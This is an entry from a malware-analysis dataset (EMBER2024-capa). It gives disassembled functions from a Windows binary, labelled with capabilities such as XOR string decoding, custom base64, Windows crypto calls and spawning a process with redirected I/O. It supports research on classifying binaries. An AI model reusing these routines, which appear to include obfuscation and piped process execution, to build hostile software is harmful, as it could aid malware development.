joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov esi, edx
test eax, eax
je 0x40110a
test ecx, ecx
je 0x40110a
test esi, esi
jle 0x40110a
push edi
lea edi, [ecx + 1]
jmp 0x401030
movzx edx, byte [edi - 1]
cmp esi, 3
jl 0x40108e
movzx ecx, byte [edi]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 1]
shl edx, 8
or edx, ecx
mov ecx, edx
shr ecx, 0x12
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 1], cl
mov ecx, edx
shr ecx, 6
and ecx, 0x3f
and edx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 2], cl
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 3], cl
jmp 0x4010df
shl edx, 0x10
cmp esi, 2
jne 0x40109e
movzx ecx, byte [edi]
shl ecx, 8
or edx, ecx
mov ecx, edx
shr ecx, 0x12
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 1], cl
cmp esi, 1
jne 0x4010cb
lea ecx, [esi + 0x3c]
jmp 0x4010d8
shr edx, 6
and edx, 0x3f
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 2], cl
mov byte [eax + 3], 0x3d
add ebx, 4
add eax, 4
add edi, 3
cmp ebx, dword [ebp + 0xc]
jg 0x401102
sub esi, 3
test esi, esi
jg 0x401030
pop edi
mov byte [eax], 0
pop esi
mov eax, ebx
pop ebx
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
Function at 0x4028f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0x44]
mov edx, dword [esi + 0x18]
mov eax, dword [esi + 0x268]
mov ebx, dword [esi + 0x20]
mov ecx, dword [esi + 0x30]
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
cmp edi, 0x2710
jge 0x402923
push eax
push edi
push edx
jmp 0x4029fc
lea eax, [edi + 0x22]
test al, 1
je 0x40292b
inc eax
add eax, dword [esi + 0x24]
mov dword [ebp - 0x10], eax
cmp ecx, 1
jge 0x40293d
mov ecx, 1
jmp 0x402947
mov eax, 0x64
cmp ecx, eax
cmovg ecx, eax
dec ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esi + 0x24]
imul eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
mov ecx, ebx
push edi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00402230
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
add esp, 0x14
cmp eax, 3
jl 0x4029d3
mov ecx, dword [ebp - 0x14]
sub ecx, edx
mov edx, 1
mov eax, edi
test edi, edi
cmove eax, edx
movd xmm1, ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
sub esp, 8
divss xmm1, xmm0
cvtps2pd xmm0, xmm1
movsd qword [esp], xmm0
push edi
push ecx
push str._______d_work___d_block__ratio__5.2f_n
call dword [sym.imp.msvcrt.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.msvcrt.dll_fprintf]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
add esp, 0x18
test edx, edx
jns 0x402a0a
cmp eax, 2
jl 0x4029f7
push str.____too_many_repeat__using_fallstack_dropping_algorithm_n
call dword [sym.imp.msvcrt.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.msvcrt.dll_fprintf]
mov eax, dword [ebp - 4]
add esp, 8
push eax
push edi
push dword [ebp - 0xc]
mov edx, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
call fcn.00401600
add esp, 0xc
mov ecx, dword [esi + 0x44]
xor eax, eax
mov dword [esi + 0x1c], 0xffffffff
test ecx, ecx
jle 0x402a30
lea ebx, [ebx]
cmp dword [ebx + eax*4], 0
je 0x402a2d
inc eax
cmp eax, ecx
jl 0x402a20
jmp 0x402a30
mov dword [esi + 0x1c], eax
cmp dword [esi + 0x1c], 0xffffffff
jne 0x402a60
push str.1.0.6__6_Sept_2010
push 0x3eb
push str._n_nbzip2_libbzip2:_internal_error_number__d._nThis_is_a_bug_in_bzip2_libbzip2___s._nPlease_report_it_to_me_at:_jseward_bzip.org.__If_this_happened_nwhen_you_were_using_some_program_which_uses_libbzip2_as_a_ncomponent__you_should_also_report_this_bug_to_the_author_s__nof_that_program.__Please_make_an_effort_to_report_this_bug__ntimely_and_accurate_bug_reports_eventually_lead_to_higher_nquality_software.__Thanks.__Julian_Seward__10_December_2007._n_n
call dword [sym.imp.msvcrt.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.msvcrt.dll_fprintf]
add esp, 0x10
push 3
call dword [sym.imp.msvcrt.dll_exit]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a70
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push str.1.0.6__6_Sept_2010
push esi
push str._n_nbzip2_libbzip2:_internal_error_number__d._nThis_is_a_bug_in_bzip2_libbzip2___s._nPlease_report_it_to_me_at:_jseward_bzip.org.__If_this_happened_nwhen_you_were_using_some_program_which_uses_libbzip2_as_a_ncomponent__you_should_also_report_this_bug_to_the_author_s__nof_that_program.__Please_make_an_effort_to_report_this_bug__ntimely_and_accurate_bug_reports_eventually_lead_to_higher_nquality_software.__Thanks.__Julian_Seward__10_December_2007._n_n
call dword [sym.imp.msvcrt.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.msvcrt.dll_fprintf]
add esp, 0x10
cmp esi, 0x3ef
jne 0x402ab1
push str._n_A_special_note_about_internal_error_number_1007__n_nExperience_suggests_that_a_common_cause_of_i.e._1007_nis_unreliable_memory_or_other_hardware.__The_1007_assertion_njust_happens_to_cross_check_the_results_of_huge_numbers_of_nmemory_reads_writes__and_so_acts__unintendedly__as_a_stress_ntest_of_your_memory_system._n_nI_suggest_the_following:_try_compressing_the_file_again__npossibly_monitoring_progress_in_detail_with_the__vv_flag._n_n_If_the_error_cannot_be_reproduced__and_or_happens_at_different_n__points_in_compression__you_may_have_a_flaky_memory_system._n__Try_a_memory_test_program.__I_have_used_Memtest86_n___www.memtest86.com_.__At_the_time_of_writing_it_is_free__GPLd_._n__Memtest86_tests_memory_much_more_thorougly_than_your_BIOSs_n__power_on_test__and_may_find_failures_that_the_BIOS_doesnt._n_n_If_the_error_can_be_repeatably_reproduced__this_is_a_bug_in_n__bzip2__and_I_would_very_much_like_to_hear_about_it.__Please_n__let_me_know__and__ideally__save_a_copy_of_the_file_causing_the_n__problem____without_which_I_will_be_unable_to_investigate_it._n_n
call dword [sym.imp.msvcrt.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.msvcrt.dll_fprintf]
add esp, 8
push 3
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x402d00
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov bl, byte [ecx + 0x34]
push esi
mov esi, dword [ecx + 0x38]
test esi, esi
jle 0x402d31
mov edx, dword [ecx + 0x260]
push edi
movzx edi, bl
mov eax, edx
shr eax, 0x18
xor eax, edi
shl edx, 8
xor edx, dword [eax*4 + 0x40d148]
mov dword [ecx + 0x260], edx
dec esi
jne 0x402d16
pop edi
mov eax, dword [ecx + 0x34]
mov byte [ecx + eax + 0x58], 1
mov edx, dword [ecx + 0x38]
mov eax, edx
dec eax
je 0x402db8
dec eax
je 0x402d9d
dec eax
je 0x402d91
mov byte [edx + ecx + 0x54], 1
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov esi, dword [ecx + 0x44]
mov dl, byte [ecx + 0x38]
mov eax, dword [ecx + 0x24]
sub dl, 4
mov byte [esi + eax], dl
inc dword [ecx + 0x44]
pop esi
pop ebx
ret
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
pop esi
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
mov edx, dword [ecx + 0x44]
mov eax, dword [ecx + 0x24]
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
pop ebx
ret
mov eax, dword [ecx + 0x44]
mov edx, dword [ecx + 0x24]
pop esi
mov byte [edx + eax], bl
inc dword [ecx + 0x44]
pop ebx
ret
Function at 0x4032c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x4032d5
mov dword [ebx], 0
test edi, edi
je 0x403451
cmp dword [ebp + 8], 0
mov dword [edi + 0x13c4], 0
je 0x403451
mov esi, dword [ebp + 0xc]
test esi, esi
js 0x403451
cmp byte [edi + 0x1390], 0
jne 0x403321
test ebx, ebx
je 0x40330f
mov dword [ebx], 0xffffffff
mov dword [edi + 0x13c4], 0xffffffff
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
je 0x40334c
test ebx, ebx
je 0x40333a
mov dword [ebx], 0xfffffffa
mov dword [edi + 0x13c4], 0xfffffffa
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
test esi, esi
jne 0x40336c
test ebx, ebx
je 0x40335a
mov dword [ebx], 0
mov dword [edi + 0x13c4], 0
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
mov eax, dword [ebp + 8]
lea ecx, [edi + 0x1394]
mov dword [edi + 0x1398], esi
mov dword [ecx], eax
mov esi, 1
lea eax, [edi + 4]
mov dword [edi + 0x13a8], 0x1388
mov dword [edi + 0x13a4], eax
test ecx, ecx
je 0x403438
mov eax, dword [ecx + 0x20]
test eax, eax
je 0x403438
cmp dword [eax], ecx
jne 0x403438
mov eax, dword [eax + 4]
dec eax
cmp eax, 3
ja case.default.0x4033b9
jmp dword [eax*4 + 0x403474]
call fcn.00403000
test al, al
mov ecx, 0xfffffffe
cmovne ecx, esi
cmp ecx, 1
jne 0x40343d
mov eax, dword [edi + 0x13a8]
cmp eax, 0x1388
jae 0x403417
push dword [edi]
mov esi, 0x1388
sub esi, eax
push esi
push ecx
lea eax, [edi + 4]
push eax
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x403330
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
jne 0x403330
lea esi, [eax + 1]
cmp dword [edi + 0x1398], 0
je 0x403350
lea ecx, [edi + 0x1394]
jmp 0x403382
or ecx, 0xffffffff
jmp 0x40343d
xor ecx, ecx
jmp 0x40343d
mov ecx, 0xfffffffe
test ebx, ebx
je 0x403443
mov dword [ebx], ecx
mov dword [edi + 0x13c4], ecx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
test ebx, ebx
je 0x40345b
mov dword [ebx], 0xfffffffe
test edi, edi
je 0x403469
mov dword [edi + 0x13c4], 0xfffffffe
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x403490
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
test edi, edi
jne 0x4034b4
test ebx, ebx
je 0x403693
mov dword [ebx], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp byte [edi + 0x1390], 0
jne 0x4034da
test ebx, ebx
je 0x4034c7
mov dword [ebx], 0xffffffff
mov dword [edi + 0x13c4], 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
je 0x403506
test ebx, ebx
je 0x4034f3
mov dword [ebx], 0xfffffffa
mov dword [edi + 0x13c4], 0xfffffffa
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x403513
mov dword [esi], 0
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x403520
mov dword [eax], 0
cmp dword [edi + 0x13c4], 0
jne 0x403622
lea ecx, [edi + 0x1394]
lea eax, [edi + 4]
mov dword [edi + 0x13a8], 0x1388
mov dword [edi + 0x13a4], eax
test ecx, ecx
je 0x4036a5
mov esi, dword [ecx + 0x20]
test esi, esi
je 0x4036a5
mov edx, dword [esi]
cmp edx, ecx
jne 0x4036a5
mov eax, dword [esi + 4]
dec eax
cmp eax, 3
ja case.default.0x403570
jmp dword [eax*4 + 0x4036c0]
mov eax, dword [ecx + 4]
mov dword [esi + 0xc], eax
mov dword [esi + 4], 4
mov eax, 3
jmp switch.0x00403570
mov eax, dword [esi + 0xc]
cmp eax, dword [edx + 4]
jne case.0x403570.1
call fcn.00403000
test al, al
je case.0x403570.1
cmp dword [esi + 0xc], 0
ja 0x4035cd
mov ecx, esi
call fcn.00402b40
test al, al
je 0x4035cd
mov eax, dword [esi + 0x50]
cmp eax, dword [esi + 0x4c]
jl 0x4035cd
mov dword [esi + 4], 1
mov dword [ebp - 4], 4
jmp 0x4035d4
mov dword [ebp - 4], 3
mov eax, dword [edi + 0x13a8]
cmp eax, 0x1388
jae 0x403615
push dword [edi]
mov esi, 0x1388
sub esi, eax
push esi
lea eax, [edi + 4]
push 1
push eax
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x4034e9
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
jne 0x4034e9
cmp dword [ebp - 4], 4
jne 0x40352d
mov esi, dword [ebp + 0xc]
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
jne 0x40364f
push dword [edi]
call dword [sym.imp.msvcrt.dll_fflush]
add esp, 4
push dword [edi]
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 4
test eax, eax
jne 0x4034e9
test esi, esi
je 0x40365b
mov eax, dword [edi + 0x139c]
mov dword [esi], eax
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x40366a
mov eax, dword [edi + 0x13ac]
mov dword [ecx], eax
test ebx, ebx
je 0x403674
mov dword [ebx], 0
lea ecx, [edi + 0x1394]
mov dword [edi + 0x13c4], 0
call fcn.00403130
push edi
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
or eax, 0xffffffff
jmp 0x4036aa
xor eax, eax
jmp 0x4036aa
mov eax, 0xfffffffe
test ebx, ebx
je 0x4036b0
mov dword [ebx], eax
mov dword [edi + 0x13c4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x406dc0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
cmp dword [0x40def8], 0xffffffff
jne 0x406dcc
xor al, al
ret
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
push 0x40deec
call esi
test eax, eax
jne 0x406e75
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
push 0x40deec
call esi
test eax, eax
jne 0x406e75
call fcn.00408660
test al, al
je 0x406e71
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
push 0x40deec
call esi
test eax, eax
jne 0x406e75
push eax
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push str.Container
push 0x40deec
call esi
test eax, eax
jne 0x406e75
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push str.Container
push 0x40deec
call esi
test eax, eax
jne 0x406e75
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push str.Container
push 0x40deec
call esi
test eax, eax
jne 0x406e75
xor al, al
pop esi
ret
mov al, 1
pop esi
ret

Function at 0x407150
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, edx
push edi
push 8
push dword [0x40def8]
mov ebx, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4071be
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
add esp, 0xc
mov dword [ebx], edi
push edi
push ebx
push esi
push 0
push 1
push 0
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x407208
mov eax, dword [ebx]
push eax
push esi
push 8
push dword [0x40def8]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
jne 0x4071c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push dword [ebp - 4]
push esi
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
mov dword [ebx], edi
mov edi, dword [ebp - 8]
push edi
push ebx
push esi
push 0
push 1
push 0
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40720b
push esi
push eax
push dword [0x40def8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [ebx], edi
pop edi
mov dword [eax], esi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407a20
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov edi, ecx
push edi
push 0
push 1
push 0
push dword [eax]
mov ebx, edx
mov dword [esi], 0x80
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x407a51
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret
push dword [esi]
push 8
push dword [0x40def8]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebx], eax
test eax, eax
je 0x407a4a
push dword [esi]
push edi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x408290
Capabilities:
Encode data using xor

Disassembly:
push 0x10
push 8
push dword [0x40df70]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x40df04], eax
test eax, eax
jne 0x4082b2
inc dword [0x40df48]
xor al, al
ret
mov ecx, 0x40ddac
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4082c0
sub ecx, edx
xor eax, eax
sar ecx, 1
push esi
mov esi, 0x9d43
je 0x4082ed
lea esp, [esp]
xor word [eax*2 + 0x40ddac], si
inc eax
cmp eax, ecx
jb 0x4082e0
mov ecx, 0x40de3c
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4082f5
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x40831d
jmp 0x408310
xor word [eax*2 + 0x40de3c], si
inc eax
cmp eax, ecx
jb 0x408310
mov ecx, 0x40dd78
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408325
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x40834d
jmp 0x408340
xor word [eax*2 + 0x40dd78], si
inc eax
cmp eax, ecx
jb 0x408340
mov ecx, 0x40ddd0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408355
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x40837d
jmp 0x408370
xor word [eax*2 + 0x40ddd0], si
inc eax
cmp eax, ecx
jb 0x408370
mov ecx, 0x40de04
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408385
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x4083ad
jmp 0x4083a0
xor word [eax*2 + 0x40de04], si
inc eax
cmp eax, ecx
jb 0x4083a0
mov ecx, 0x40dd98
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4083b5
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x4083dd
jmp 0x4083d0
xor word [eax*2 + 0x40dd98], si
inc eax
cmp eax, ecx
jb 0x4083d0
mov edx, 0x40de3c
mov ecx, 0x40ddac
call fcn.00408480
mov ecx, dword [0x40df04]
mov edx, 0x40de04
mov dword [ecx], eax
mov ecx, 0x40ddd0
call fcn.00408480
mov edx, dword [0x40df04]
mov ecx, 0x40ddd0
mov dword [edx + 4], eax
mov edx, 0x40dd98
call fcn.00408480
mov edx, dword [0x40df04]
mov ecx, 0x40ddac
mov dword [edx + 8], eax
mov edx, 0x40dd78
call fcn.00408480
mov edx, dword [0x40df04]
mov ecx, dword [0x40df48]
mov dword [edx + 0xc], eax
cmp dword [edx], 0
pop esi
jne 0x40844f
inc ecx
mov dword [0x40df48], ecx
cmp dword [edx + 4], 0
jne 0x40845c
inc ecx
mov dword [0x40df48], ecx
cmp dword [edx + 8], 0
jne 0x408469
inc ecx
mov dword [0x40df48], ecx
test eax, eax
jne 0x408474
inc ecx
mov dword [0x40df48], ecx
mov al, 1
ret
Function at 0x4089a0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x6c]
push 0
push eax
mov esi, edx
mov edi, ecx
mov ebx, 0x36ee80
call sub.msvcrt.dll_memset
add esp, 0xc
xorps xmm0, xmm0
push 1
push 1
xor eax, eax
push esi
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x40], 0x101
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov word [ebp - 0x3c], ax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 0x10
push 1
lea eax, [ebp - 0x14]
push eax
push eax
xorps xmm0, xmm0
push edi
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], 0
push 0
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov byte [ebp - 5], al
test al, al
je 0x408aa8
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea esp, [esp]
push 0x3e8
push dword [ebp - 0x24]
call edi
test eax, eax
je 0x408a8a
cmp eax, 0x102
jne 0x408a50
mov ecx, esi
call fcn.00409850
sub ebx, 0x3e8
jns 0x408a50
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push 0
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 1]
mov esi, ecx
push eax
push esi
mov byte [ebp - 1], 0xec
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0xe4e3e2e1
xor bl, bl
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x409905
mov dword [ebp - 8], 0
mov dword [ebp - 8], 0x4000000
mov eax, dword [ebp - 8]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x409905
mov ecx, dword [ebp - 0xc]
mov eax, ecx
shr eax, 0x18
mov dword [ebp - 8], 0
mov byte [ebp - 8], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 7], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 5], cl
mov byte [ebp - 6], al
mov eax, dword [ebp - 8]
push eax
lea edx, [ebp - 0x10]
mov ecx, esi
mov dword [ebp - 0xc], eax
call fcn.00409fe0
add esp, 4
movzx ecx, bl
test al, al
mov edx, 1
cmovne ecx, edx
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409910
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
test edx, edx
je 0x40992a
push esi
mov esi, 0x9d43
lea esp, [esp]
xor word [ecx + eax*2], si
inc eax
cmp eax, edx
jb 0x409920
pop esi
ret